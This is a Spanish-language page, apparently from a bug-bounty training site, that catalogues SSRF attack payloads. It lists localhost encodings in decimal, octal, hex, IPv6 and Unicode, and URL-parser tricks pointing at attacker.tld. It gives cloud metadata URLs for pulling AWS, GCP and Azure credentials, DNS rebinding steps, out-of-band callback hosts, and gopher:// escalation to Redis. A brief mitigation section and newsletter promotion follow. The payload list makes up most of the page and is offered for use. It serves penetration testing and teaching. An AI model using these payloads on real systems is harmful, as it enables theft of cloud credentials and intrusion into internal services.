Respuesta rápida
SSRF (Server-Side Request Forgery) fuerza al servidor a hacer requests a URLs controladas por el atacante. Vector típico para acceso a cloud metadata (169.254.169.254), servicios internos (admin panels, bases de datos sin auth) y a veces RCE. Los bypasses se centran en evadir validación de URL/IP usando representaciones alternativas (decimal, octal, hex, IPv6), DNS tricks, parameter pollution y URL parsing differentials.
Localhost bypass payloads
IPv4 básicos
http://127.0.0.1:80
http://127.0.0.1:443
http://127.1:80 (notación corta)
http://127.000000000000000.1
http://0
http://0.0.0.0:80
http://localhost:80
IPv6
http://[::]:80/
http://[::1]:80/
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/
CIDR bypass
127.127.127.127 (cualquier IP 127.x.x.x)
127.0.1.3
Si el filter solo bloquea 127.0.0.1, IPs en otras posiciones de la subnet 127.0.0.0/8 siguen siendo localhost.
Dot bypass (Unicode)
127。0。0。1 (Unicode ideographic full stop)
127%E3%80%820%E3%80%820%E3%80%821
Decimal bypass
Cada IP IPv4 es interpretable como un único entero de 32 bits:
http://2130706433/ = 127.0.0.1
http://3232235521/ = 192.168.0.1
http://3232235777/ = 192.168.1.1
Octal
http://0177.0000.0000.0001
http://017700000001
Hexadecimal
http://0x7f000001/
http://0xc0a80014/
http://0x7f.0x00.0x00.0x01
Enclosed alphanumeric Unicode
http://①②⑦.⓪.⓪.⓪
http://⑯⑨。②⑤④。⑯⑨。②⑤④/
Algunos parsers lo procesan como IP normal.
Mixed IPv4/IPv6
0:0:0:0:0:FFFF:7F00:0001 = 127.0.0.1 mapped a IPv6
DNS to localhost
Dominios públicos que resuelven a IPs internas:
localtest.me = 127.0.0.1
127.0.0.1.nip.io = 127.0.0.1
spoofed.burpcollaborator.net = 127.0.0.1
1ynrnhl.xip.io = 169.254.169.254
Si el filter blacklist IPs pero deja pasar dominios → DNS lookup → IP target permitida.
Domain bypass para targets externos
Si el filter dice "solo se permiten URLs a target.tld":
Protocol manipulation
https:attacker.tld
https:/attacker.tld
http:/\/\attacker.tld
//attacker.tld
\/\/attacker.tld/
/\/attacker.tld/
@attacker.tld
%0D%0A/attacker.tld
#attacker.tld
Encoded characters
attacker%00.tld (null byte)
attacker%E3%80%82tld (Unicode dot)
attacker。tld
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
Parameter injection
https://target.tld@attacker.tld
https://target.tld.attacker.tld
https://target.tld%6D@attacker.tld (m URL-encoded)
https://attacker.tld/target.tld
https://attacker.tld?d=target.tld
https://attacker.tld#target.tld
https://attacker.tld%23@target.tld
https://attacker.tld\@@target.tld
https://attacker.tld\anything@target.tld/
Parser differential (URL parsing differs entre lib que valida y lib que hace request)
https://target.tld\.attacker.tld
https://target.tld/.attacker.tld
1.1.1.1 &@2.2.2.2# @3.3.3.3/
Una librería ve el host como target.tld y permite. La librería que hace el request lo parsea como attacker.tld.
Cloud metadata endpoints
AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
IMDSv2 (token-based, más seguro): requiere PUT a /latest/api/token primero. Si el SSRF solo permite GET, IMDSv2 está protegido.
Google Cloud (GCP)
Requiere header Metadata-Flavor: Google:
http://metadata.google.internal/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Si tu SSRF permite especificar headers, perfecto. Si no, busca endpoints "proxy" en la app que añadan headers automáticamente.
Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/
Header requerido: Metadata: true.
DigitalOcean / Alibaba / Oracle Cloud
http://169.254.169.254/metadata/v1/ (DO)
http://100.100.100.200/latest/meta-data/ (Alibaba)
http://192.0.0.192/latest/meta-data/ (Oracle)
Todos los providers exponen metadata en alguna IP "magic". Worth probarlos todos.
DNS rebinding
Cuando el server resuelve un dominio una vez para validar y otra vez para el request real, hay race window:
- Atacante registra
dns-rebind.attacker.tldcon TTL=0. - Server resuelve → IP1 (público, OK).
- Server hace request → IP2 (interno, atacante cambió el DNS).
Herramientas: rbndr.us, tbnrd.com, dnschef custom.
Blind SSRF detection
Si el response no expone nada, prueba OOB:
http://yourcollab.collab.tld/ssrf-test
http://burp-collab-id.oastify.com
http://attacker-controlled-dns.attacker.tld
Burp Collaborator registra HTTP/DNS hits → confirma SSRF aunque el output no sea visible.
Endpoints donde buscar SSRF
- URL fetch features: webhooks, profile picture URL, OG preview, link unfurling, RSS reader, SVG render, screenshot service.
- Import / export: import URL JSON, scan URL for malware, fetch terms.
- Conversion services: HTML→PDF, URL→screenshot, URL→QR, URL→audio.
- OAuth callback proxies: si el server hace lookup del provider config.
- PDF generators: wkhtmltopdf, headless Chrome — fetch HTML del client → embed en PDF.
- Email features: imágenes inline desde URL, link verification.
- CSV import con celdas que contienen URLs interpretadas como hyperlinks.
Escalación de SSRF
Una vez confirmado:
- Cloud metadata → AWS/GCP/Azure credentials.
- Internal services: Redis (
redis://localhost:6379/CONFIG SET), Memcached, ElasticSearch (/_cluster/state), Kibana, Jenkins, Consul, etcd. - gopher:// scheme para enviar bytes raw a TCP — protocolo de SMTP, Redis con escritura.
- Internal admin panels que confían en peticiones del propio servidor.
- Port scanning interna: ¿qué servicios corren en
127.0.0.1:*?
Hunting checklist
- ¿Hay features que aceptan URLs (webhooks, imports, screenshots)?
- ¿El filter bloquea solo
127.0.0.1o normaliza todas las representaciones? - ¿Acepta IPv6, decimal, hex, Unicode dots?
- ¿Acepta
@injection en host? - ¿Headers personalizados se pueden inyectar (para GCP/Azure metadata)?
- ¿DNS rebinding posible?
- ¿Probar Burp Collaborator para blind SSRF?
- ¿Probar
gopher://,dict://,file://? - ¿Endpoints retornan parte del response? (full SSRF visible vs blind).
Mitigación correcta
- Whitelist de dominios (no blacklist). Resolver y verificar IP final.
- Bloquear ranges privados:
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.0.0/16, IPv6 equivalentes. - Resolver DNS UNA vez y usar la IP resultante (mata DNS rebinding).
- IMDSv2 obligatorio en AWS.
- Egress firewall desde el container/VM que solo permite outbound a IPs/puertos legítimos.
Labs relacionados
Practica los 11 bypasses de SSRF + cloud metadata extraction: labs de SSRF.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Ssrf
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Artículos relacionados
SSRF — localhost bypasses, DNS rebinding, cloud metadata, gopher://
Catálogo completo de bypasses SSRF en 2026: IP encodings (decimal, hex, octal, dword), DNS rebinding, IPv6 abuse, cloud metadata (AWS IMDSv2, GCP, Azure), gopher:// para chaining a Redis/Memcached RCE.
Headless browsers — SSRF y RCE en endpoints que renderizan URLs
Endpoints que aceptan URLs para screenshots/PDF (Puppeteer, Playwright, wkhtmltopdf) son SSRF goldmine: cloud metadata, file://, gopher://, JS injection con XSS-to-RCE en chromium sandbox.
Next.js attack surface 2026 — middleware bypass, SSRF interno, RSC abuse
Vulnerabilidades específicas de Next.js 13-16: middleware bypass con headers manipulados, SSRF en API routes, RSC (React Server Components) data leak, image optimization SSRF.
